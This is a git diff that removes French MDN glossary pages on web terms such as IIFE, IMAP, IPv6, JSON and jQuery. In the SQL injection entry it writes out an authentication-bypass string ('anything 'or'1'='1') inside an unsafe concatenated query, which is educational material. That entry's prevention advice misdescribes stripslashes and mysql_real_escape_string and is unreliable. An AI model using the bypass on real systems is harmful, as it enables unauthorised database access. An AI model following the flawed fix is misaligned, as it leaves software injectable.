- - diff --git a/files/fr/glossaire/iife/index.html b/files/fr/glossaire/iife/index.html deleted file mode 100644 index 4aabbfb803..0000000000 --- a/files/fr/glossaire/iife/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: IIFE -slug: Glossaire/IIFE -tags: - - Glossaire - - JavaScript - - Programmation -translation_of: Glossary/IIFE ---- -

IIFE (Immediately Invoked Function Expression) (Expression de fonction invoquée immédiatement) est une {{glossary("Function","fonction")}} {{glossary("JavaScript")}} qui est exécutée dès qu'elle est définie.

- -

C'est un modèle de conception qui est également connu sous le nom de {{glossary("Self-Executing Anonymous Function","Fonction anonyme auto-exécutable")}} et contient deux parties principales. La première est la fonction anonyme avec portée lexicale incluse dans le {{jsxref("Operators/Grouping", "groupement opérateur")}}(). Cela empêche l'accès aux variables dans l'expression idiomatique IIFE ainsi que la pollution de la portée globale.

- -

La deuxième partie crée la fonction immédiatement exécutable (), à travers laquelle le moteur JavaScript interprétera directement la fonction.

- -

Exemples

- -

La fonction devient une expression de fonction qui est immédiatement exécutée. La variable dans l'expression ne peut pas être atteinte de l'extérieur.

- -
(function () {
-    var aName = "Barry";
-})();
-// Le nom de la variable n'est pas accessible depuis le périmètre externe
-aName // lancement "Exception ReferenceError: aName n'est pas défini"
- -

Affecter l'IIFE à une variable ne la stocke pas mais reçoit son résultat.

- -
var result = (function () {
-    var name = "Barry";
-    return name;
-})();
-// Crée immédiatement la sortie: 
-result; // "Barry"
- -

Pour approfondir

- -

Apprendre sur ce sujet

- -
    -
  • Exemple rapide (à la fin de la section "Les fonctions", juste avant "Les objets personnalisés")
    • -
- -

Culture générale

- - diff --git a/files/fr/glossaire/image_matricielle/index.html b/files/fr/glossaire/image_matricielle/index.html deleted file mode 100644 index b04889fcef..0000000000 --- a/files/fr/glossaire/image_matricielle/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Image matricielle -slug: Glossaire/Image_matricielle -tags: - - Glossaire - - Images -translation_of: Glossary/Raster_image ---- -

Une image matricielle (raster) est un fichier image défini comme une grille de pixels. Elles sont également appelées des "cartes de points" (bitmaps). Les formats d'image matricielle communs sur le web sont JPEG, PNG, GIF et ICO.

- -

Les fichiers d'image matricielle contiennent généralement un ensemble de dimensions, mais les formats ICO et CUR, utilisés pour les favicons et les images de la propriété cursor en CSS, peuvent contenir plusieurs tailles.

- -

Voir aussi

- -
    -
  • {{glossary("Vector images","Image vectorielle")}}
    • -
  • {{Interwiki("wikipedia","Image_matricielle","Image matricielle")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/imap/index.html b/files/fr/glossaire/imap/index.html deleted file mode 100644 index 6e64653da6..0000000000 --- a/files/fr/glossaire/imap/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: IMAP -slug: Glossaire/IMAP -tags: - - Couriels - - Débutant - - Glossaire -translation_of: Glossary/IMAP ---- -

IMAP (Internet Message Access Protocol) est un {{Glossary("Protocol","protocole")}} utilisé pour récupérer et stocker des courriels. Plus récent que {{Glossary("POP3")}}, IMAP permet d'avoir des dossiers et des règles sur le serveur.

- -

Contrairement à POP3, IMAP autorise des connexions multiples simultanées vers une boîte de messagerie. Les clients qui accèdent à une boîte peuvent recevoir des informations sur les changements d'état effectués par les autres clients. IMAP propose aussi un mode où les clients restent connectés et reçoivent des informations à la demande.

- -

Mark Crispin a initialement développé IMAP en 1986 sous le nom Interim Mail Access Protocol. IMAP4 revision 1 est la version actuelle, définie par la RFC 3501.

- -

Pour approfondir

- -
    -
  • {{RFC(3501)}}
    • -
  • {{Glossary("POP3")}}
    • -
  • {{interwiki("wikipedia", "Internet Message Access Protocol", "IMAP")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/immuable/index.html b/files/fr/glossaire/immuable/index.html deleted file mode 100644 index f3873cdc5a..0000000000 --- a/files/fr/glossaire/immuable/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Immuable -slug: Glossaire/Immuable -tags: - - Encodage - - Glossaire -translation_of: Glossary/Immutable ---- -

Un {{glossary("Object","objet")}} immuable est un objet dont le contenu ne peut pas être modifié.
- Un objet peut être immuable pour diverses raisons, par exemple :

- -
    -
  • Pour améliorer les performances (aucune modification future de l'objet n'est prévue)
    • -
  • Pour réduire la consommation mémoire (des {{glossary("Object reference","références d'objet")}} sont faites au lieu de cloner l'objet entier)
    • -
  • Thread-safety (plusieurs threads peuvent référencer le même objet sans qu'ils n'interfèrent entre eux)
    • -
- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Objet immuable", "Immuable")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/index.html b/files/fr/glossaire/index.html deleted file mode 100644 index ba3592c8b8..0000000000 --- a/files/fr/glossaire/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Glossaire -slug: Glossaire -tags: - - Débutant - - Glossaire - - Index -translation_of: Glossary ---- -
{{LearnBox({"title":"Apprenez un nouveau terme :"})}}
- -

Les technologies Web font l'objet d'un important jargon et autres termes techniques utilisés au travers de la documentation et du code. Ce glossaire fournit une définition des mots et abréviations qui vous seront nécessaires pour pouvoir comprendre et utiliser le Web.

- -

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

- -

Contribuer au glossaire

- -

Ce glossaire est un travail en cours et sans fin. Vous pouvez aider à l'améliorer en écrivant de nouvelles entrées ou en améliorant celles qui existent déjà. La façon la plus simple de commencer est de cliquer sur le bouton suivant ou de choisir l'un des termes suggérés ci-dessous.

- -

Écrire une nouvelle entrée de glossaire

- -

{{GlossaryList({"terms":[], "filter":"notdefined", "css":"multiColumnList"})}}

- -

Si vous souhaitez en savoir plus sur la façon de contribuer au glossaire, consultez la page d'état de la documentation du glossaire.

diff --git a/files/fr/glossaire/index/index.html b/files/fr/glossaire/index/index.html deleted file mode 100644 index c3d5f147af..0000000000 --- a/files/fr/glossaire/index/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Index -slug: Glossaire/Index -tags: - - Glossaire - - Index - - Navigation -translation_of: Glossary/Index ---- -

{{Index("/fr/docs/Glossaire")}}

diff --git a/files/fr/glossaire/indexeddb/index.html b/files/fr/glossaire/indexeddb/index.html deleted file mode 100644 index d14037f130..0000000000 --- a/files/fr/glossaire/indexeddb/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: IndexedDB -slug: Glossaire/IndexedDB -tags: - - API - - Base de données - - Glossaire - - Programmation -translation_of: Glossary/IndexedDB ---- -

IndexedDB est une {{glossary("API")}} web pour stocker de larges structures de données à l'intérieur des navigateurs et de les indexer afin d'effectuer des recherches hautement performante. De la même façon qu'un Système de gestion de base de données relationnelle (basé sur {{glossary("SQL")}}), IndexedDB est une base de données transactionnelle. Cependant,  IndexedDB  utilise  les objets {{glossary("JavaScript")}} plutôt que des colonnes de tables fixes pour stocker les données.

- -

En savoir plus

- - diff --git a/files/fr/glossaire/injection_sql/index.html b/files/fr/glossaire/injection_sql/index.html deleted file mode 100644 index 0e092c51c5..0000000000 --- a/files/fr/glossaire/injection_sql/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Injection SQL -slug: Glossaire/Injection_SQL -tags: - - Attaques - - Glossaire - - Sql - - Sécurité -translation_of: Glossary/SQL_Injection ---- -

L'injection SQL tire parti des applications web qui ne parviennent pas à valider les entrées utilisateur. Les pirates peuvent transmettre des commandes SQL via l'application web de manière malveillante pour exécution par une base de données principale.

- -

L'injection SQL peut obtenir un accès non autorisé à une base de données ou récupérer des informations directement à partir de la base de données. De nombreuses violations de données sont dues à l'injection SQL.

- -

- -

Comment ça marche ?

- -

- -

Après l'entrée du nom d'utilisateur et du mot de passe, derrière l'interface graphique, les requêtes SQL fonctionnent comme suit :

- -
"SELECT Count(*) FROM Users WHERE Username=' " + txt.User.Text+" ' AND Password=' "+ txt.Password.Text+" ' ";
- -

Supposons maintenant que l'utilisateur entre le nom d'utilisateur : admin et le mot de passe : mdp123, puis après avoir cliqué sur le bouton Connexion, la requête SQL s'exécutera comme suit:

- -
"SELECT Count(*) FROM Users WHERE Username=' admin ' AND Password=' mdp123 ' ";
-
-
- -

Si les informations d'identification sont correctes, l'utilisateur est autorisé à se connecter, c'est donc un mécanisme très simple (et non sécurisé). Les pirates utilisent cette insécurité pour obtenir un accès non autorisé.

- -

Les pirates utilisent une chaîne simple appelée chaîne magique, par exemple :

- -

Utilisateur : admin

- -

Mot de passe : anything 'or'1'='1

- -

Après avoir cliqué sur le bouton de connexion, la requête SQL fonctionnera comme suit :

- -
"SELECT Count(*) FROM Users WHERE Username=' admin ' AND Password=' anything 'or'1'='1 ' ";
-
- -

Regardez de plus près la section mot de passe de la requête ci-dessus.

- -
Password=' anything 'or'1'='1 '
- -

 

- -

Le mot de passe n'est pas 'anything' (n'importe quoi), par conséquent mot de passe = tout aboutit à FAUX (false), mais '1' = '1' est une instruction VRAIE et renvoie donc une valeur VRAI (true). Enfin, en raison de l'opérateur OR, la valeur (FALSE OR TRUE) est TRUE, de sorte que l'authentification est contournée avec succès. Juste en raison d'une chaîne simple (chaîne magique) la base de données entière est compromise.

- -

 

- -

Comment l'empêcher ?

- -

Avant d'exécuter les requêtes pour les informations d'identification de l'utilisateur, apportez les modifications suivantes :

- -
$id = $_GET['id'] 
-
-(1) $id = Stripslashes($id)
-
-(2) $id = mysql_real_escape_String($id)
- -

Ainsi, en raison de (1) chaque guillemet simple (') dans la chaîne d'entrée est remplacé par des guillemets ("), et en raison de (2) avant chaque (') est ajouté un (/). La chaîne magique contrôlée échoue à contourner l'authentification et votre base de données reste sécurisée.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Injection_SQL","Injection SQL")}} sur Wikipedia
    • -
  • Explication de l'injection SQL sur OWASP (Open Web Application Security Project) (en)
    • -
diff --git a/files/fr/glossaire/input_method_editor/index.html b/files/fr/glossaire/input_method_editor/index.html deleted file mode 100644 index c197bef355..0000000000 --- a/files/fr/glossaire/input_method_editor/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Méthode de saisie -slug: Glossaire/Input_method_editor -tags: - - Glossary -translation_of: Glossary/Input_method_editor ---- -

Une méthode de saisie (IME pour Input Method Editor) est un programme qui permet de saisir du texte via une interface utilisateur spécialisé. Les méthodes de saisie peuvent être utilisées dans de nombreuses situations dont : 

- -
    -
  • la saisie de caractères chinois, japonnais ou encore coréen à partir d'un clavier latin ;
    • -
  • la saisie de caractères latin à partir d'un clavier numérique ;
    • -
  • la saisie de texte à partir d'un écran tactile avec reconnaisance d'écriture manuscrite.
    • -
- - diff --git a/files/fr/glossaire/instance/index.html b/files/fr/glossaire/instance/index.html deleted file mode 100644 index 384b376e75..0000000000 --- a/files/fr/glossaire/instance/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Instance -slug: Glossaire/Instance -tags: - - CodingScripting - - Débutant - - Glossaire - - JavaScript - - NeedsContent -translation_of: Glossary/Instance ---- -

Un {{glossary("objet")}} créé par un {{glossary("constructeur")}} est une instance de ce constructeur.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Instance (programmation)", "Instance")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/intergiciel/index.html b/files/fr/glossaire/intergiciel/index.html deleted file mode 100644 index 6ea43f8afa..0000000000 --- a/files/fr/glossaire/intergiciel/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Intergiciel -slug: Glossaire/Intergiciel -tags: - - Glossaire - - Programmation -translation_of: Glossary/Middleware ---- -

Intergiciel (Middleware) est un terme (défini vaguement) pour tout logiciel ou service permettant aux parties d'un système de communiquer et de gérer des données. C'est le logiciel qui gère la communication entre les composants et les entrées / sorties, de sorte que les développeurs peuvent se concentrer sur l'objectif spécifique de leur application.

- -

Dans les frameworks d'application web côté serveur, le terme est souvent plus spécifiquement utilisé pour désigner des composants logiciels préconstruits pouvant être ajoutés au pipeline de traitement des requêtes / réponses du framework, pour gérer des tâches telles que l'accès à la base de données.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Middleware")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/internationalisation_et_localisation/index.html b/files/fr/glossaire/internationalisation_et_localisation/index.html deleted file mode 100644 index acbdfe94a1..0000000000 --- a/files/fr/glossaire/internationalisation_et_localisation/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Internationalisation -slug: Glossaire/Internationalisation_et_localisation -tags: - - Glossaire - - Internationalisation - - Reference -translation_of: Glossary/Internationalization_and_localization ---- -

L'internationalisation, souvent abrégée en "i18n", est l'adaptation d'un site web ou d'une application web à différentes langues, différences régionales et exigences techniques pour différentes régions et pays. L'internationalisation est le processus d'architecture de votre application web afin qu'elle puisse être rapidement et facilement adaptée à diverses langues et régions sans trop d'efforts d'ingénierie lorsque de nouvelles langues et régions sont prises en charge. Aussi pour qu'un utilisateur puisse parcourir les fonctionnalités pour traduire ou localiser l'application pour accéder à tout le contenu sans casser la mise en page.

- -

L'internationalisation inclut la prise en charge de plusieurs jeux de caractères (généralement via Unicode), des unités de mesure (devise, °C/°F, km/miles, etc.), formats de date et d'heure, dispositions du clavier, et directions du texte.

- -

Voir aussi

- - - - diff --git a/files/fr/glossaire/internet/index.html b/files/fr/glossaire/internet/index.html deleted file mode 100644 index 39c9dfd453..0000000000 --- a/files/fr/glossaire/internet/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Internet -slug: Glossaire/Internet -tags: - - Débutant - - Glossaire - - Guide - - Introduction - - Mécanismes web - - Tutoriel - - Web -translation_of: Glossary/Internet ---- -

Internet est un réseau mondial constitué de réseaux. Ce réseau utilise le protocole Internet aussi nommé {{glossary("TCP")}}/{{glossary("IPv6", "IP")}} d'après ses principaux {{glossary("Protocol", "protocoles")}}.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/ip_address/index.html b/files/fr/glossaire/ip_address/index.html deleted file mode 100644 index ed11a8f2f9..0000000000 --- a/files/fr/glossaire/ip_address/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Adresse IP -slug: Glossaire/IP_Address -tags: - - Débutant - - Glossaire - - Infrastructure - - Web -translation_of: Glossary/IP_Address ---- -

Une adresse IP est une série de chiffres assignée à chaque appareil connecté à un réseau qui utilise le protocole Internet.

- -

Le terme "Adresse IP" se réfère généralement à des adresses IPv4 sur 32 bits. L'IPv6 n'est pas encore très répandu.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/ipv4/index.html b/files/fr/glossaire/ipv4/index.html deleted file mode 100644 index bdeb7c6771..0000000000 --- a/files/fr/glossaire/ipv4/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: IPv4 -slug: Glossaire/IPv4 -tags: - - Glossaire - - IPv4 - - Internet Protocole - - protocole -translation_of: Glossary/IPv4 ---- -

IPv4  est la 4e version du  {{Glossary("Protocol","protocole")}} de communication d'{{glossary("Internet")}} et la première version vraiment déployée.

- -

Formalisé pour la première fois en 1981, IPv4 prend ces racines dans le développement initial d'ARPAnet. IPv4 est un protocole sans connexion pour être utilisé sur des couches de liaison par commutation de packet (ethernet). {{glossary("IPv6")}} va progressivement remplacer IPv4 à cause des problème de sécurité d'IPv4 et des limitations du nombre d'adresses. (La version 5 a été conçue en 1979 comme une expérimentation du protocole Internet Stream, qui n'a pourtant jamais été appelé IPv5.)

- -

En savoir plus

- -

Culture générale

- -

{{interwiki("wikipedia", "IPv4", "IPv4")}} sur Wikipédia

diff --git a/files/fr/glossaire/ipv6/index.html b/files/fr/glossaire/ipv6/index.html deleted file mode 100644 index 4dfef4cc47..0000000000 --- a/files/fr/glossaire/ipv6/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: IPv6 -slug: Glossaire/IPv6 -tags: - - Glossaire - - IPv6 -translation_of: Glossary/IPv6 ---- -

IPv6 est la version actuelle du {{glossary("protocol","protocole")}} sous-jacent de communication pour {{glossary("Internet")}}. Lentement  IPv6 remplace {{Glossary("IPv4")}}, entre autres raisons parce que IPv6  permet d'avoir de nombreuses {{Glossary("IP address","adresses IP")}} différentes.

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{interwiki("wikipedia", "IPv6", "IPv6")}} sur Wikipedia
    • -
diff --git a/files/fr/glossaire/irc/index.html b/files/fr/glossaire/irc/index.html deleted file mode 100644 index dadcc97904..0000000000 --- a/files/fr/glossaire/irc/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: IRC -slug: Glossaire/IRC -tags: - - Discussion écrite en ligne - - Glossaire - - Infrastructure - - Protocoles - - irc -translation_of: Glossary/IRC ---- -

IRC (Internet relay chat) est un système mondial de discussion textuelle. Il nécessite une connexion internet et un client de messagerie IRC, qui va envoyer et recevoir des messages via les serveurs IRC.

- -

Conçu par Jarrko Oikarinen à la fin des années 80, IRC est un protocole ouvert basé sur le protocole de transport {{glossary("TCP")}}. Le serveur IRC diffuse les messages à toutes les personnes connectées sur l'un des nombreux canaux de discussion IRC (chacun avec son propre ID).

- -

Pour approfondir

- - diff --git a/files/fr/glossaire/iso/index.html b/files/fr/glossaire/iso/index.html deleted file mode 100644 index fcb4c9f4bd..0000000000 --- a/files/fr/glossaire/iso/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: ISO -slug: Glossaire/ISO -tags: - - Glossaire - - ISO - - Infrastructure - - Standards du Web - - spécifications web -translation_of: Glossary/ISO ---- -

ISO (International Organization for Standardization) est une organisation internationale qui développe des critères uniformisés coordonnant les entreprises de chaque principal secteur.

- -

Pour approfondir

- -

Culture générale

- - diff --git a/files/fr/glossaire/itu/index.html b/files/fr/glossaire/itu/index.html deleted file mode 100644 index 193fd8e9bb..0000000000 --- a/files/fr/glossaire/itu/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: ITU -slug: Glossaire/ITU -tags: - - Glossaire - - ITU - - Standardisation - - organisation -translation_of: Glossary/ITU ---- -

L'Union Internationale des Télécommunications (ITU) est l'organisation autorisée par les Nations Unies à établir des normes et des règles pour les télécommunication, y compris le télégraphe, la radio, la téléphonie et Internet. De la définition des règles pour garantir que les transmissions arrivent là où elles doivent aller et de la création du signal d'alerte «SOS» utilisé en code Morse, l'UIT joue depuis longtemps un rôle clé dans la manière dont nous utilisons la technologie pour échanger des informations et des idées.

- -

À l'ère de l'Internet, le rôle de l'UIT consistant à établir des normes pour les formats de données vidéo et audio utilisés pour le streaming, la téléconférence et à d'autres fins. Par exemple, l'UIT et le Moving Picture Experts Group (MPEG) ont travaillé ensemble pour développer et publier, ainsi que pour maintenir, les diverses spécifications MPEG, telles que MPEG-2 (ITU H.262), AVC (ITU H.264 ) et HEVC (ITU H.265).

- -

Apprendre plus

- -

Culture générale

- - - -

En savoir plus

- - diff --git a/files/fr/glossaire/jank/index.html b/files/fr/glossaire/jank/index.html deleted file mode 100644 index 3bc4e70bbd..0000000000 --- a/files/fr/glossaire/jank/index.html +++ /dev/null @@ -1,11 +0,0 @@ ---- -title: Jank -slug: Glossaire/Jank -tags: - - Débutant - - Encodage - - Glossaire - - Performance -translation_of: Glossary/Jank ---- -

Jank se réfère à la lenteur dans une interface utilisateur, généralement causée par l'exécution de longues tâches sur le fil principal, le blocage du rendu ou la dépense de trop de puissance de processeur pour les processus en arrière-plan.

diff --git a/files/fr/glossaire/java/index.html b/files/fr/glossaire/java/index.html deleted file mode 100644 index 52e454d6d8..0000000000 --- a/files/fr/glossaire/java/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Java -slug: Glossaire/Java -tags: - - Encodage - - Glossaire - - Java - - Langage de programmation -translation_of: Glossary/Java ---- -

Java est un langage de {{Glossary("OOP","programmation orientée objet")}} basé sur des {{Glossary("Class","classes")}}, de {{Glossary("Computer Programming","programmation informatique")}} conçu pour être indépendant de l'implémentation.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Java (langage)", "Java")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/javascript/index.html b/files/fr/glossaire/javascript/index.html deleted file mode 100644 index f2d76e9c2d..0000000000 --- a/files/fr/glossaire/javascript/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: JavaScript -slug: Glossaire/JavaScript -tags: - - Encodage - - Glossaire - - JavaScript - - 'l10n:priority' -translation_of: Glossary/JavaScript ---- -

JavaScript (JS) est un langage de programmation principalement utilisé côté client pour générer des pages web dynamiquement, mais également côté {{Glossary("Server","serveur")}}, depuis l'arrivée de Node JS.

- -

Ne pas confondre JavaScript avec {{interwiki("wikipedia","Java_(langage)","le langage de programmation Java")}}. "Java" et "JavaScript" sont des marques commerciales ou des marques déposées d'Oracle aux États-Unis et dans d'autres pays. Cependant, les deux langages de programmation ont une syntaxe, une sémantique et des utilisations très différentes.

- -

D'abord pensé comme un langage côté serveur par Brendan Eich (alors employé de  Netscape Corporation), JavaScript arrive sur le navigateur Netscape Navigator 2.0 en Septembre 1995. Le succès est immédiat, et {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introduit JavaScript sous le nom de JScript en août 1996.

- -

En novembre 1996, Netscape commence à travailler avec ECMA International pour faire de JavaScript un standard. Depuis lors, la standardisation de JavaScript est appelée ECMAScript, et correspond à la spécification ECMA-262, dont la dernière (9e) édition est disponible depuis juin 2018.

- -

JavaScript est principalement utilisé dans le navigateur, permettant aux développeurs de manipuler le contenu des pages internet à travers le {{Glossary("DOM")}}, manipuler les données avec {{Glossary("AJAX")}} et {{Glossary("IndexedDB")}}, dessiner avec {{Glossary("canvas")}}, interargir avec le périphérique qui pilote le navigateur via de nombreuses {{Glossary("API","APIs")}}, etc.. JavaScript est l'un des langages les plus utilisés au monde, grâce au développement et à l'amélioration des performances des {{Glossary("API","APIs")}} dans les navigateurs.

- -

Récemment, JavaScript est revenu du côté serveur grâce au succès de la plateforme Node.js, l'environnement d’exécution multi-plateforme le plus populaire en dehors du navigateur. Node.js permet d'utiliser JavaScript comme langage de script pour automatiser des tâches sur un PC et de mettre en place des serveurs {{Glossary("HTTP")}} et {{Glossary("WebSockets")}} pleinement fonctionnels.

- -

En savoir plus

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "JavaScript", "JavaScript")}} sur Wikipedia
    • -
- -

Apprentissage

- - - -

Références techniques

- - diff --git a/files/fr/glossaire/jpeg/index.html b/files/fr/glossaire/jpeg/index.html deleted file mode 100644 index 8375478b58..0000000000 --- a/files/fr/glossaire/jpeg/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: JPEG -slug: Glossaire/jpeg -tags: - - Composing - - Débutant - - Glossaire - - JPEG -translation_of: Glossary/jpeg ---- -

JPEG (Joint Photographic Experts Group) est une méthode de compression avec pertes très utilisée pour les images numériques.

- -

Pour en savoir plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia", "JPEG")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/jquery/index.html b/files/fr/glossaire/jquery/index.html deleted file mode 100644 index e21c99703f..0000000000 --- a/files/fr/glossaire/jquery/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: jQuery -slug: Glossaire/jQuery -tags: - - API - - Bibliothèque - - Glossaire - - JavaScript -translation_of: Glossary/jQuery ---- -

jQuery est une  {{Glossary("Library","bibliothèque")}} {{Glossary("JavaScript")}} qui se concentre sur la simplification de la manipulation de {{Glossary("DOM")}}, les appels d'{{Glossary ("AJAX")}} et la gestion des {{Glossary ("Event","évènements")}}. Elle est fréquemment utilisée par les développeurs JavaScript.

- -

jQuery utilise un format, $(selector).action() pour assigner un (ou plusieurs) élément à un évènement. Pour expliquer cela en détail, $(selector) appelle jQuery pour sélectionner un élément selector et l'affecte à un évènement d'{{Glossary("API")}} appelé .action().

- -
$(document).ready(function(){
-  alert("Hello World!");
-  $("#blackBox").hide();
-});
- -

Le code ci-dessus remplit la même fonction que le code suivant :

- -
window.onload = function() {
-  alert( "Hello World!" );
-  document.getElementById("blackBox").style.display = "none";
-};
- -

Télécharger jQuery

- - - - - - - - - - - - - - - - -
npmbower (solo file)Google CDN
npm install jquerybower install https://code.jquery.com/jquery-3.2.1.min.jshttps://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
- -

En apprendre plus

- -

Culture générale

- - - -

Apprentissage de jQuery

- - - -

Information technique

- - diff --git a/files/fr/glossaire/json/index.html b/files/fr/glossaire/json/index.html deleted file mode 100644 index e936a1fb10..0000000000 --- a/files/fr/glossaire/json/index.html +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: JSON -slug: Glossaire/JSON -tags: - - CodingScripting - - Glossaire - - Intro - - JSON -translation_of: Glossary/JSON ---- -

JSON (JavaScript Object Notation) est un format d'échange de données. Bien qu'il n'en soit pas un sous-ensemble au sens strict, JSON ressemble fortement à un sous-ensemble de la syntaxe {{Glossary("JavaScript")}}. Le format JSON est accepté par de nombreux langages de programmation, mais il s'avère particulièrement utile pour les applications basées sur JavaScript comme les sites web et les extensions des navigateurs.

- -

JSON permet de représenter des nombres, des booléens, des chaînes de caractères, la valeur null, des tableaux (séquences ordonnées de valeurs) et des objets (correspondances chaînes-valeurs) composés de ces valeurs (ou d'autres tableaux ou objets). Il ne permet pas, nativement, de représenter des données plus complexes comme des fonctions, des expressions rationnelles ou des dates. (Les objets Date sont traduits vers une chaîne de caractères selon un format ISO, cela permet pour certains cas, d'assurer le transport de ces données.)  Si vous avez besoin de représenter des valeurs d'autres types de données, vous pouvez les transformer lors de la conversion en chaîne de caractères ou avant de les reconvertir en objets JavaScript. 

- -

Tout comme XML, JSON permet de conserver des données hiérarchiques, ce qui n'est pas le cas avec le format CSV traditionnel. De nombreux outils permettent de convertir des données entre ces formats comme ce  convertisseur JSON vers CSV ou bien celui-ci.

- -

En savoir plus

- -

Connaissances générales

- -
    -
  • {{interwiki("wikipedia", "JSON", "JSON")}} sur Wikipédia
    • -
- -

Référence technique

- -
    -
  • {{Link("/fr/docs/Web/JavaScript/Reference/Objets_globaux/JSON")}} sur MDN
    • -
diff --git a/files/fr/glossaire/keyword/index.html b/files/fr/glossaire/keyword/index.html deleted file mode 100644 index 43676e3feb..0000000000 --- a/files/fr/glossaire/keyword/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Mot-clé -slug: Glossaire/Keyword -tags: - - Glossaire - - Mot-clé - - Recherche - - recherche par mot-clé -translation_of: Glossary/Keyword ---- -

Un mot-clé est un mot ou une phrase décrivant un contenu. En ligne, les mots-clés sont utilisés comme requêtes pour les moteurs de recherche ou comme des termes identifiant le contenu de sites web.

- -

Lorsque vous utilisez un moteur de recherche, les mots-clés désignent ce que vous recherchez, et le moteur de recherche renvoie les pages web pertinentes. Pour des résultats plus précis, essayez des mots-clés plus spécifiques, comme "Mustang GTO Bleue" au lieu de simplement "Mustang". Les pages web emploient aussi les mots-clés dans les balises meta (dans la section {{htmlelement("head")}}) pour décrire le contenu des pages afin que les moteurs de recherche puissent mieux identifier et organiser les pages web.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Mot_clef", "Mot-clé")}} sur Wikipédia
    • -
diff --git a/files/fr/glossaire/langage_de_programmation_de_haut_niveau/index.html b/files/fr/glossaire/langage_de_programmation_de_haut_niveau/index.html deleted file mode 100644 index d217e17ac2..0000000000 --- a/files/fr/glossaire/langage_de_programmation_de_haut_niveau/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Langage de programmation de haut niveau -slug: Glossaire/Langage_de_programmation_de_haut_niveau -tags: - - Glossaire - - Langage - - Programmation -translation_of: Glossary/High-level_programming_language ---- -

Un langage de programmation de haut niveau a une abstraction significative des détails du fonctionnement de l'ordinateur. Il est conçu pour être facilement compris par les humains et pour cette raison, il doit être traduit par un autre logiciel. Contrairement aux langages de programmation de bas niveau, il peut utiliser des éléments de langage naturel ou automatiser (voire masquer) des champs importants de système informatique, rendant le processus de développement plus simple et plus compréhensible par rapport à un langage de niveau inférieur. La quantité d'abstraction fournie définit la façon dont un langage de programmation est «de haut niveau».

- -

L'idée d'un langage automatiquement traduisible en code machine, mais plus proche de la logique humaine, a été introduite en informatique dans les années 1950, notamment grâce au travail de John Backus (IBM), à qui nous devons le premier langage de haut niveau à avoir été largement diffusé : Fortran. Pour cette innovation, Bakus a reçu le prix Turing.

diff --git a/files/fr/glossaire/langage_de_programmation_dynamique/index.html b/files/fr/glossaire/langage_de_programmation_dynamique/index.html deleted file mode 100644 index 58c5c5d185..0000000000 --- a/files/fr/glossaire/langage_de_programmation_dynamique/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Langage de programmation dynamique -slug: Glossaire/Langage_de_programmation_dynamique -tags: - - Encodage - - Glossaire - - Langages - - Programmation -translation_of: Glossary/Dynamic_programming_language ---- -

Un langage de programmation dynamique est un langage de programmation dans lequel les opérations effectuées au moment de la compilation peuvent être réalisées au moment de l'exécution. Par exemple, en JavaScript, il est possible de modifier le type d'une variable ou d'ajouter de nouvelles propriétés ou méthodes à un objet pendant l'exécution du programme.

- -

Ceci est opposé aux langages de programmation dits statiques, dans lesquels de tels changements ne sont normalement pas possibles.

- -

En apprendre plus

- -

Culture générale

- -
    -
  • {{Interwiki("wikipedia","Langage_de_programmation_dynamique","Langage de programmation dynamique")}} sur Wikipedia
    • -
